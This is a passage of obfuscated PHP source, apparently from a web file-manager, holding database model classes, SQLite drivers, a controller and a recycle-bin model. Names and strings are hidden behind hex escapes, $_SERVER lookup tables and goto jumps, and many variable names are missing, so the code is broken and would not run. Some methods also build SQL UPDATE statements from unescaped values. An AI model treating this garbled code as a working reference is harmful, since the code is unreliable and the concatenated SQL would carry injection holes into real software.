$[107] => $О, $[459] => $Ԃ); } $ = $[460] . $ё; CacheLock::lock($); $->where(array($Ұ => $ς))->addAll($Ȁӥ, array(), !0); CacheLock::unlock($); return !0; } public function metaGet($, $ֽۖ = false) { $Ц =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $ꙧ = $this->tableMeta[$Ц[456]]; $܊ = Model($this->tableMeta[$Ц[457]]); if ($ֽۖ) { $ = array($ꙧ => $, $Ц[107] => $ֽۖ); return $܊->where($)->getField($Ц[459]); } $ = array($ꙧ => $); $Εǰ = $܊->field($Ц[461])->where($)->select(); $Εǰ = array_to_keyvalue($Εǰ, $Ц[107], $Ц[459]); return $Εǰ; } private function checkDataAutoHas($ٴ֤) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($ٴ֤, explode($_SERVER[][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$, $ꀰ) { $ =& $_SERVER[]; if (!is_array($)) { return; } foreach ($this->dataAuto as $) { $ҹ = $[0]; if (!in_array($ꀰ, explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[406]: case $[407]: $훿⬮ = $[1]; $Ъ = isset($[4]) ? (array) $[4] : array(); if ($훿⬮ == $[216] && array_key_exists($ҹ, $)) { if (!$[$ҹ]) { unset($[$ҹ]); } break; } if (isset($[$ҹ])) { array_unshift($Ъ, $[$ҹ]); } if ($[406] == $[3]) { $[$ҹ] = call_user_func_array($훿⬮, $Ъ); } else { $[$ҹ] = call_user_func_array(array(&$this, $훿⬮), $Ъ); } break; case $[356]: if (isset($[$ҹ]) && $[$ҹ]) { $[$ҹ] = call_user_func_array(array(&$this, $[1]), array($[$ҹ])); } break; case $[359]: $[$ҹ] = $[$[1]]; break; case $[379]: if (isset($[$ҹ]) && !is_string($[$ҹ])) { $[$ҹ] = json_encode_force($[$ҹ]); } break; case $[408]: if ($[$ҹ] === $[12]) { unset($[$ҹ]); } break; case $[409]: $[$ҹ] = $[1]; default: break; } } if ($ꀰ == $[440]) { $ϐ = strtolower($this->db->getDbType()); if (strpos($ϐ, $[13]) !== 0) { return; } $ = $this->field(!0)->fields; $ָ = $[$[338]]; if (isset($[$[337]])) { unset($ָ[$[$[337]]]); } foreach ($ָ as $߃ => $ꀰ) { if (!isset($[$߃])) { $[$߃] = $[12]; } } } } private function dataAfterFilter(&$) { $Ѳț =& $_SERVER[]; foreach ($this->dataAuto as $) { $֨ = $[0]; if (!isset($[$֨])) { continue; } if (!in_array($Ѳț[442], explode($Ѳț[50], $[2]))) { continue; } switch (trim($[3])) { case $Ѳț[406]: case $Ѳț[407]: $Ȓ = isset($[4]) ? (array) $[4] : array(); array_unshift($Ȓ, $[$֨]); if (isset($[4]) && $[4] == $Ѳț[462]) { $Ȓ = array($[$֨]); } if ($Ѳț[406] == $[3]) { $[$֨] = call_user_func_array($[1], $Ȓ); } else { $[$֨] = call_user_func_array(array(&$this, $[1]), $Ȓ); } break; case $Ѳț[356]: if (isset($[$֨]) && $[$֨]) { $[$֨] = call_user_func_array(array(&$this, $[1]), array($[$֨])); } break; case $Ѳț[359]: $[$֨] = $[$[1]]; break; case $Ѳț[379]: $߂ = $[$֨]; $[$֨] = json_decode($߂, !0); if (is_null($[$֨])) { $[$֨] = $߂; } break; case $Ѳț[408]: if ($[$֨] === $Ѳț[12]) { unset($[$֨]); } break; case $Ѳț[409]: $[$֨] = $[1]; break; default: break; } } } public function saveAll($ƺ) { $Ԏ =& $_SERVER[]; $ְ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $ƺ = is_array($ƺ) ? $ƺ : array(); $ = $Ԏ[463]; $Ƕ = 0; $ꑳڂ = array(); $򳁃 = count($ƺ); for ($Үȫ = 0; $Үȫ < $򳁃; $Үȫ++) { $ᮋ = $ƺ[$Үȫ]; if (!is_array($ᮋ) || count($ᮋ) != 4) { continue; } $ = "\x55\x50\104\x41\124\105\x20\140{$ְ}\x60\x20\123\105\x54\40{$ᮋ[2]}\x20\75\x20\x43\x41\123\x45\x20{$ᮋ[0]}\40\12"; if ($Ƕ == 0) { $ = $; } $ꑳڂ[] = $Ԏ[131] . $ᮋ[1] . $Ԏ[131]; $Ƕ++; $ .= "\x20\127\110\x45\116\40\47{$ᮋ[1]}\47\x20\x54\110\x45\x4e\40\47{$ᮋ[3]}\x27\40\xa"; if ($Ƕ == $ || $Үȫ == $򳁃 - 1) { $ = implode($Ԏ[50], $ꑳڂ); $ .= "\x20\105\116\104\40\x20\x57\x48\x45\x52\105\x20{$ᮋ[0]}\x20\x49\x4e\40\50{$}\x29\x20"; $this->execute($); $Ƕ = 0; $ = $; $this->chunkEventCheck(count($ꑳڂ)); $ꑳڂ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ =& $_SERVER[]; $ָ = $this->tablePrefix . $this->tableName; foreach ($ as $) { if (!is_array($) || count($) != 4) { continue; } $Ÿœ = $[0] . $[464] . $[1] . $[131]; $ = $[2] . $[464] . $[3] . $[131]; $ú = "\165\160\144\x61\x74\145\40{$ָ}\x20\x73\x65\164\40{$}\40\167\x68\x65\x72\x65\x20{$Ÿœ}\73"; $this->execute($ú); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[][465]] = $; Hook::trigger($this->_chunkEvent, $); } public function addAll($, $ = array(), $Ɠ㜊 = false) { $ =& $_SERVER[]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($[357]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ => $) { $[$] = $this->_facade($); $this->_beforeInsert($[$], $); } if (method_exists($this->db, $[358])) { for ($Ѭ = 0; $Ѭ < count($); $Ѭ += $) { $˩ʦ = array_slice($, $Ѭ, $); if (!is_array($˩ʦ) || count($˩ʦ) == 0) { break; } $ = $this->db->insertAll($˩ʦ, $, $Ɠ㜊); $this->chunkEventCheck(count($˩ʦ)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ => $) { $ = $this->db->insert($, $, $Ɠ㜊); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function save($Ϲ = '', $¾ƒ = array()) { $ȅ =& $_SERVER[]; $ʲ߽ = self::SQL_WHERE_IN_CHUNK; $鬷 = $this->optionsValue(); $ǭ = $this->findWhereField($鬷); if (!$ǭ) { return parent::save($Ϲ, $¾ƒ); } $Ƀ = 0; $ƃ = $鬷[$ȅ[361]][$ǭ][1]; $ƃ = is_array($ƃ) ? $ƃ : array(); $󞓞 = count($ƃ); for ($Ӎ = 0; $Ӎ < $󞓞; $Ӎ += $ʲ߽) { $Ɩ = array_slice($ƃ, $Ӎ, $ʲ߽); if (!is_array($Ɩ) || count($Ɩ) == 0) { break; } $鬷[$ȅ[361]][$ǭ][1] = $Ɩ; $this->optionsValue($鬷); $Ƀ += parent::save($Ϲ, $¾ƒ); $this->chunkEventCheck(count($Ɩ)); } $this->chunkEventSet(); return $Ƀ; } public function add($Ĩ = '', $ = array(), $̃ = false) { if ($this->addTaskStatus && is_array($Ĩ)) { $this->addTaskData[] = $Ĩ; return; } return parent::add($Ĩ, $, $̃); } public function parseWhereLike($, $ك = '', $Մ = false, &$ּͦ = false) { $ȫ =& $_SERVER[]; $߼ = $GLOBALS[$ȫ[6]][$ȫ[466]]; if (!$߼[$ȫ[467]]) { return $; } if (!is_array($)) { return $; } $NJ = array(); $р = 0; foreach ($ as $ => $ߐ) { if (is_array($ߐ) && count($ߐ) == 2 && $ߐ[0] == $ȫ[468] && is_string($ߐ[1]) && substr($ߐ[1], 0, 1) == $ȫ[469] && substr($ߐ[1], strlen($ߐ[1]) - 1, 1) == $ȫ[469]) { $ּͦ = !0; $ = is_string($) ? $ : $ك; $㡮 = substr($ߐ[1], 1, strlen($ߐ[1]) - 2); $㡮 = $this->db->escapeString($㡮); if (!strpos($, $ȫ[10])) { $ = $ȫ[470] . $ . $ȫ[470]; } $ = $ȫ[230] . $㡮 . $ȫ[230]; $㡮 = str_replace(array($ȫ[10], $ȫ[471], $ȫ[11]), $ȫ[472], $㡮); if ($߼[$ȫ[473]]) { $ = $ȫ[474] . $㡮 . $ȫ[475]; if ($߼[$ȫ[476]]) { $ = $ȫ[475] . $㡮 . $ȫ[474]; } } $NJ[$р] = $ȫ[477] . $ . $ȫ[478] . $ . $ȫ[479]; $р++; continue; } if (is_array($ߐ)) { $ك = is_string($) ? $ : $ك; $ߐ = $this->parseWhereLike($ߐ, $ك, !0, $ּͦ); } if (is_numeric($)) { $NJ[$р] = $ߐ; $р++; } else { $NJ[$] = $ߐ; } } if ($ּͦ && !$Մ) { } return $NJ; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ٱ = array()) { $؛ =& $_SERVER[]; $Ӧ = self::SQL_WHERE_IN_CHUNK; $҃ = $this->optionsValue(); $μ = $this->findWhereField($҃); if (!$μ || isset($҃[$؛[377]]) || isset($҃[$؛[438]])) { return parent::select($ٱ); } $ۨ = $҃[$؛[361]][$μ][1]; $ۨ = is_array($ۨ) ? $ۨ : array(); $Κ = null; for ($ʖ = 0; $ʖ < count($ۨ); $ʖ += $Ӧ) { $촋 = array_slice($ۨ, $ʖ, $Ӧ); if (!is_array($촋) || count($촋) == 0) { break; } $҃[$؛[361]][$μ][1] = $촋; $this->optionsValue($҃); $ = parent::select($ٱ); if (!$) { continue; } $Κ = is_array($Κ) ? $Κ : array(); $Κ = array_merge($Κ, $); } return $Κ; } public function delete($ = array()) { $ =& $_SERVER[]; $ͨ = self::SQL_WHERE_IN_CHUNK; $Ƀġ = $this->optionsValue(); $۠Һ = $this->findWhereField($Ƀġ); if (!$۠Һ) { return parent::delete($); } $۬ = 0; $ = $Ƀġ[$[361]][$۠Һ][1]; $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $ += $ͨ) { $ = array_slice($, $, $ͨ); if (!is_array($) || count($) == 0) { break; } $Ƀġ[$[361]][$۠Һ][1] = $; $this->optionsValue($Ƀġ); $۬ += parent::delete($); } return $۬; } private function findWhereField($Μ) { $ =& $_SERVER[]; $Ð = self::SQL_WHERE_IN_CHUNK; if (!is_array($Μ) || !is_array($Μ[$[361]])) { return !1; } foreach ($Μ[$[361]] as $Ҷ => $ƚ) { if (is_array($ƚ) && isset($ƚ[0]) && is_string($ƚ[0]) && strtolower($ƚ[0]) == $[7] && is_array($ƚ[1]) && count($ƚ[1]) > $Ð) { ignore_timeout(); return $Ҷ; } } return !1; } public function setMasterDB($̳ = true) { think_config($_SERVER[][480], $̳); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\x79\x73\164\145\155\x4f\x70\164\151\157\x6e"; public $field = array(); public function listData($Ɗ = false, $ = "\x6d\x6f\x64\x69\146\171\124\151\x6d\x65", $ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $䕔 = array_values($); if ($䕔 && $䕔[0] && !is_array($䕔[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $Ɗ ? null : array(); } if (!$Ɗ) { $ = array_filter(array_values($)); return array_sort_by($, $, $); } return $[$_SERVER[][481] . $Ɗ]; } public function insert($̐) { $͡ҙ =& $_SERVER[]; $̐ = array_field_key($̐, $this->field); $յ = Model($this->modelType)->get($͡ҙ[482], $this->optionType . $͡ҙ[483]); $յ = $յ ? $յ : 0; $̐[$͡ҙ[484]] = ++$յ; $̐[$͡ҙ[241]] = time(); $̐[$͡ҙ[98]] = time(); Model($this->modelType)->set($͡ҙ[482], $յ, $this->optionType . $͡ҙ[483]); Model($this->modelType)->set($͡ҙ[481] . $յ, $̐, $this->optionType); return $յ; } public function update($Ι, $) { $ԓ͢ =& $_SERVER[]; $ = array_field_key($, $this->field); $ = $this->listData($Ι); if (!$ || !$Ι) { return !1; } $ = array_merge($, $); $[$ԓ͢[98]] = time(); return Model($this->modelType)->set($ԓ͢[481] . $Ι, $, $this->optionType); } public function remove($܊) { if (!$܊) { return !1; } return Model($this->modelType)->remove($_SERVER[][481] . $܊, $this->optionType); } public function clear() { $뾓 =& $_SERVER[]; Model($this->modelType)->remove($뾓[482], $this->optionType . $뾓[483]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($ěڨ, $몖) { if (!$몖) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $ěڨ); return isset($[$몖]) ? $[$몖] : !1; } public function findByName($͖) { return $this->findByKey($_SERVER[][32], $͖); } protected function resetData($) { $ܩ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array(); for ($ȍ󁃟 = 0; $ȍ󁃟 < count($); $ȍ󁃟++) { $[$ܩ[481] . $[$ȍ󁃟][$ܩ[484]]] = $[$ȍ󁃟]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($ΐί) { $؎ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$؎ || !isset($؎[$ΐί])) { return $ΐί; } for ($Ә = 1; $Ә < count($؎); $Ә++) { $ݲƾ = $ΐί . "\x28{$Ә}\x29"; if (!isset($؎[$ݲƾ])) { return $ݲƾ; } } return $ݲƾ; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ޖ = false, $٫ = '', $ = false) { $׭ =& $_SERVER[]; $흝 = $this->cacheGet($٫); $ = $this->optionDefault($٫); $ = is_array($) ? $ : array(); if (is_array($흝)) { $흝 = array_merge($, $흝); return $ޖ ? isset($흝[$ޖ]) ? $흝[$ޖ] : null : $흝; } $ = $this->filterWhere(array($׭[33] => $٫)); $흝 = $this->where($)->select(); $흝 = array_to_keyvalue($흝, $׭[107], $׭[459]); foreach ($흝 as $쐏 => $ւˀ) { if ($ || in_array($쐏, $this->jsonField)) { $흝[$쐏] = json_decode($ւˀ, !0); } } $this->cacheSet($٫, $흝); $흝 = array_merge($, $흝); return $ޖ ? $흝[$ޖ] : $흝; } public function set($, $ = false, $ພ = '') { $ҿ =& $_SERVER[]; $this->cacheRemove($ພ); $ޗ = array(); $ͽ = is_array($) ? $ : array($ => $); foreach ($ͽ as $ => $˶) { if (is_array($˶)) { $˶ = json_encode_force($˶); } $this->checkLength($˶, !1, $this->tableName . $ҿ[4] . $); $˶ = self::textEncode($˶); $ͽ = array($ҿ[33] => $ພ, $ҿ[107] => $, $ҿ[459] => $˶); $ޗ[] = $this->filterWhere($ͽ); } if (!$ޗ) { return !0; } $؄Զ = $this->cacheKey($ҿ[485]); CacheLock::lock($؄Զ); $ڗ = $this->addAll($ޗ, array(), !0); CacheLock::unlock($؄Զ); return $ڗ; } protected function optionDefault($ا = '') { return !1; } public function setDeep($۶, $ = false, $ = '') { $ = explode($_SERVER[][10], $۶); $ݴ = $this->get(); array_set_value($ݴ, $۶, $); $this->set($[0], $ݴ[$[0]], $); } public function remove($Ի, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = $this->filterWhere(array($[107] => $Ի, $[33] => $)); if (is_null($Ի)) { unset($[$[107]]); } return $this->where($)->delete(); } public function cacheSet($Рҟ, $ہ = false) { return Cache::set($this->cacheKey($Рҟ), $ہ); } public function cacheGet($׭׿) { return Cache::get($this->cacheKey($׭׿)); } public function cacheRemove($Тŵ) { return Cache::remove($this->cacheKey($Тŵ)); } protected function filterWhere($ѵؗ) { return $ѵؗ; } protected function cacheKey($ݪ) { return $ݪ; } } goto fѪ; e咼: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$[6]] =& $config; $this->values[$[7]] =& $in; $this->tpl = TEMPLATE . MOD . $[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($⍵) { if (1 === func_num_args()) { $this->{$⍵} = new $⍵(); } else { $ = new ReflectionClass($⍵); $ȉˊ = func_get_args(); array_shift($ȉˊ); $this->{$⍵} = $->newInstanceArgs($ȉˊ); } return $this->{$⍵}; } public function routeBind($֓, $ʝƺ, $ = 3) { $ =& $_SERVER[]; $ = $this->in[$[9]]; $֓ = str_replace($[10], $[11], trim(trim($֓, $[8]), $[12])); if (!$֓ || count($) <= $) { return !1; } $Ӳ몰 = !0; $ǐ = explode($[8], $֓); for ($ߠ = 0; $ߠ < count($ǐ); $ߠ++) { if ($ǐ[$ߠ] != $[$ + $ߠ]) { $Ӳ몰 = !1; break; } } if (!$Ӳ몰) { return; } call_user_func_array(array($this, $ʝƺ), array()); } public function routeArgs($Ԃ = 3) { $ = $this->in[$_SERVER[][9]]; if (count($) <= $Ԃ) { return array(); } $߻ = array(); for ($̏ = $Ԃ; $̏ < count($); $̏ += 2) { $߻[$[$̏]] = $[$̏ + 1]; $this->in[$[$̏]] = $[$̏ + 1]; } return $߻; } protected function assign($˟, $ܱ) { $this->values[$˟] = $ܱ; } protected function display($ȩ) { ob_end_clean(); extract($this->values); require $this->tpl . $ȩ; } } class DbSqliteBase extends Db { public function __construct($卦 = '') { $ =& $_SERVER[]; if (!extension_loaded($[13])) { think_exception(think_lang($[14]) . $[15]); } if (!empty($卦)) { if (!isset($卦[$[16]])) { $卦[$[16]] = 438; } $this->config = $卦; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($Ğܳ = '', $ϻ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$ϻ])) { if (empty($Ğܳ)) { $Ğܳ = $this->config; } $ؾ = !empty($Ğܳ[$[17]][$[18]]) ? $Ğܳ[$[17]][$[18]] : $this->pconnect; $ֿՓ = $ؾ ? $[19] : $[20]; $this->linkID[$ϻ] = $ֿՓ($Ğܳ[$[21]], $Ğܳ[$[16]]); if (!$this->linkID[$ϻ]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$ϻ], 30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$ϻ]; } public function free() { $this->queryID = null; } public function query($ұ) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ұ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $ұ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ɀ = $this->getAll(); return $ɀ; } } public function execute($߿) { $ܣϬ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $߿; if ($this->queryID) { $this->free(); } think_action_status($ܣϬ[25], 1); think_status($ܣϬ[24]); $͔֕ = sqlite_exec($this->_linkID, $߿); $this->debug(); if (!1 === $͔֕) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $٬ = array(); if ($this->numRows > 0) { for ($ѥ = 0; $ѥ < $this->numRows; $ѥ++) { $٬[$ѥ] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $٬; } public function getFields($) { $ӊ =& $_SERVER[]; $˼ = $this->query($ӊ[29] . $ . $ӊ[30]); $ϣ = array(); if ($˼) { foreach ($˼ as $Ր => $ҹ) { $ϣ[$ҹ[$ӊ[31]]] = array($ӊ[32] => $ҹ[$ӊ[31]], $ӊ[33] => $ҹ[$ӊ[34]], $ӊ[35] => (bool) ($ҹ[$ӊ[36]] === $ӊ[12]), $ӊ[37] => $ҹ[$ӊ[38]], $ӊ[39] => strtolower($ҹ[$ӊ[40]]) == $ӊ[41], $ӊ[42] => strtolower($ҹ[$ӊ[43]]) == $ӊ[44]); } } return $ϣ; } public function getTables($̛ = '') { $̄ =& $_SERVER[]; $ = $this->query($̄[45] . $̄[46] . $̄[47]); $Ζ = array(); foreach ($ as $؛Χ => $) { $Ζ[$؛Χ] = current($); } return $Ζ; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $˱ =& $_SERVER[]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $˱[4] . sqlite_error_string($); if ($˱[12] != $this->queryStr) { $this->error .= LNG($˱[48]) . $this->queryStr; } think_trace($this->error, $˱[12], $˱[49]); return $this->error; } public function escapeString($᜸) { return sqlite_escape_string($᜸); } public function parseLimit($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } } return $; } } class DbSqlite3Base extends Db { public function __construct($뗠 = '') { $ =& $_SERVER[]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($뗠)) { if (!isset($뗠[$[16]])) { $뗠[$[16]] = 438; } $this->config = $뗠; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new SQLite3($[$[21]]); if (!$this->linkID[$]) { think_exception($this->linkID[$]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$]->busyTimeout(30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($պ) { $Š =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $պ; if ($this->queryID) { $this->free(); } think_action_status($Š[23], 1); think_status($Š[24]); $this->queryID = $this->_linkID->query($պ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $Ŗ = $this->getAll(); $this->numRows = count($Ŗ); return $Ŗ; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $٢エ = $this->_linkID->exec($); $this->debug(); if (!1 === $٢エ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ድ퀄 = $this->_linkID->query($_SERVER[][28]); if (!$ድ퀄) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $֚ = array(); while ($ɟ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $֚[] = $ɟ; } $this->queryID->reset(); return $֚; } public function getFields($) { $؊ =& $_SERVER[]; $ߪ = $this->query($؊[29] . $ . $؊[30]); $ݝ = array(); if ($ߪ) { foreach ($ߪ as $ => $) { $ݝ[$[$؊[32]]] = array($؊[32] => $[$؊[32]], $؊[33] => $[$؊[33]], $؊[35] => (bool) ($[$؊[35]] === $؊[12]), $؊[37] => $[$؊[56]], $؊[39] => (bool) $[$؊[57]], $؊[42] => (bool) $[$؊[57]]); } } return $ݝ; } public function getTables($ʝ = '') { $ڲ =& $_SERVER[]; $إ = $this->query($ڲ[45] . $ڲ[46] . $ڲ[47]); $Ҳ = array(); foreach ($إ as $ => $) { $Ҳ[$] = current($); } return $Ҳ; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($ߢۛ) { $ڼ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($ߢۛ); } return str_ireplace($ڼ[58], $ڼ[59], $ߢۛ); } public function parseLimit($̕) { $ =& $_SERVER[]; $ = $[12]; if (!empty($̕)) { $̕ = explode($[50], $̕); if (count($̕) > 1) { $ .= $[51] . $̕[1] . $[52] . $̕[0] . $[53]; } else { $ .= $[51] . $̕[0] . $[53]; } } return $; } } goto Fӫ͞; e܃: class SourceRecycleModel extends ModelBase { protected $tableName = "\151\157\137\x73\157\x75\x72\143\145\137\x72\145\143\171\x63\x6c\x65"; protected $dataAuto = array(array("\143\162\145\x61\x74\x65\x54\x69\x6d\x65", "\x74\151\x6d\145", "\151\156\163\145\x72\164", "\146\165\x6e\x63\164\151\157\156")); public function listData($ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ʉާ = $this->where(array($[1770] => $))->select(); return array_to_keyvalue($ʉާ, $[12], $[203]); } public function moveToRecycle($ч) { $Ӥ =& $_SERVER[]; $ש = Model($Ӥ[1429]); $ = $ש->sourceInfo($ч); if (!$ || $[$Ӥ[514]] == $Ӥ[101]) { return; } $֧ = array($Ӥ[500] => $ч, $Ӥ[1770] => USER_ID, $Ӥ[657] => $[$Ӥ[200]], $Ӥ[658] => $[$Ӥ[578]], $Ӥ[661] => $[$Ӥ[593]]); $this->add($֧); $this->recycleMove($ч, 1); if ($[$Ӥ[494]] == $Ӥ[101]) { $ = array($Ӥ[661] => array($Ӥ[621], $[$Ӥ[593]] . $ч . $Ӥ[622])); $ש->where($)->setField($Ӥ[514], 1); } } public function clear() { $this->remove(!1); } public function remove($ = false, $҂ = false) { $ð =& $_SERVER[]; $҂ = $҂ ? $҂ : USER_ID; $ = Model($ð[1429]); $ = $this->listData($҂); $ = $ === !1 ? !1 : $; $ˌ = array(); foreach ($ as $ʭ) { if ($ != !1 && !in_array($ʭ, $)) { continue; } $ԟ = $->sourceInfo($ʭ); $->remove($ʭ, !1); $ۼ = $ԟ[$ð[200]] . $ð[11] . $ԟ[$ð[578]]; $ˌ[$ۼ] = array($ð[657] => $ԟ[$ð[200]], $ð[578] => $ԟ[$ð[578]]); $this->where(array($ð[203] => $ʭ))->delete(); } foreach ($ˌ as $Ӎ) { $->targetSpaceUpdate($Ӎ[$ð[200]], $Ӎ[$ð[578]]); } } public function restore($ž = false) { $岎 = $this->listData(); $this->_restoreSource($岎, $ž); } public function removeUserAll($) { $this->remove(!1, $); } public function restoreItem($) { $this->_restoreSource(array($), array($)); } private function _restoreSource($弫, $䲈) { $Һ =& $_SERVER[]; $ = Model($Һ[1429]); $䲈 = $䲈 == !1 ? !1 : $䲈; if (!$弫) { return !0; } $䃍 = array(); foreach ($弫 as $) { if ($䲈 != !1 && !in_array($, $䲈)) { continue; } $ = $->sourceInfo($); $ʑ = $->sourceInfo($[$Һ[202]]); if ($ʑ[$Һ[514]] == $Һ[101]) { continue; } $->lockMoveStart($); $this->recycleMove($, 0); if ($[$Һ[494]] == $Һ[101]) { $ᖠ = array($Һ[661] => array($Һ[621], $[$Һ[593]] . $ . $Һ[622])); $->where($ᖠ)->setField($Һ[514], 0); $this->restoreFolderChildren($, $弫); } $this->where(array($Һ[203] => $))->delete(); $->folderSizeReset($[$Һ[202]]); $䃍[] = $[$Һ[202]]; if ($[$Һ[494]] == $Һ[101]) { $䃍[] = $; } $->lockMoveEnd($); } $->updateModifyTime($䃍); } private function restoreFolderChildren($ȍҏ, $׷) { $ם =& $_SERVER[]; $Ѯ = Model($ם[1429]); $Ա = array($ם[203] => array($ם[7], array())); foreach ($׷ as $有) { if ($有 == $ȍҏ) { continue; } if (!$Ѯ->isParentOf($ȍҏ, $有)) { continue; } $ = $Ѯ->sourceInfo($有); if ($[$ם[494]] == $ם[101]) { $Ա[] = array($ם[661] => array($ם[621], $[$ם[593]] . $有 . $ם[622])); } else { $Ա[$ם[203]][1][] = $有; } } if (!$Ա[$ם[203]][1]) { unset($Ա[$ם[203]]); } if (!$Ա) { return; } if (is_array($Ա[$ם[203]]) && is_array($Ա[$ם[203]][1])) { $Ա[$ם[203]][1] = array_unique($Ա[$ם[203]][1]); } $Ա[$ם[1089]] = $ם[2080]; $Ѯ->where($Ա)->setField($ם[514], 1); } private function recycleMove($, $ې = 1) { $ΥՁ =& $_SERVER[]; $čՑ = Model($ΥՁ[1429]); $ = Model($ΥՁ[2301]); $ = array($ΥՁ[203] => $); if ($ې) { $čՑ->where($)->setField($ΥՁ[514], 1); $->eventRecycle($, $ΥՁ[2302]); } else { $ = $čՑ->where($)->find(); $🰍 = $[$ΥՁ[494]] == $ΥՁ[101]; $ܸ = $čՑ->fileNameAuto($[$ΥՁ[202]], $[$ΥՁ[32]], REPEAT_RENAME_FOLDER, $🰍); if ($ܸ != $[$ΥՁ[32]]) { $čՑ->rename($, $ܸ); } $čՑ->where($)->setField($ΥՁ[514], 0); $->eventRecycle($, $ΥՁ[2303]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = 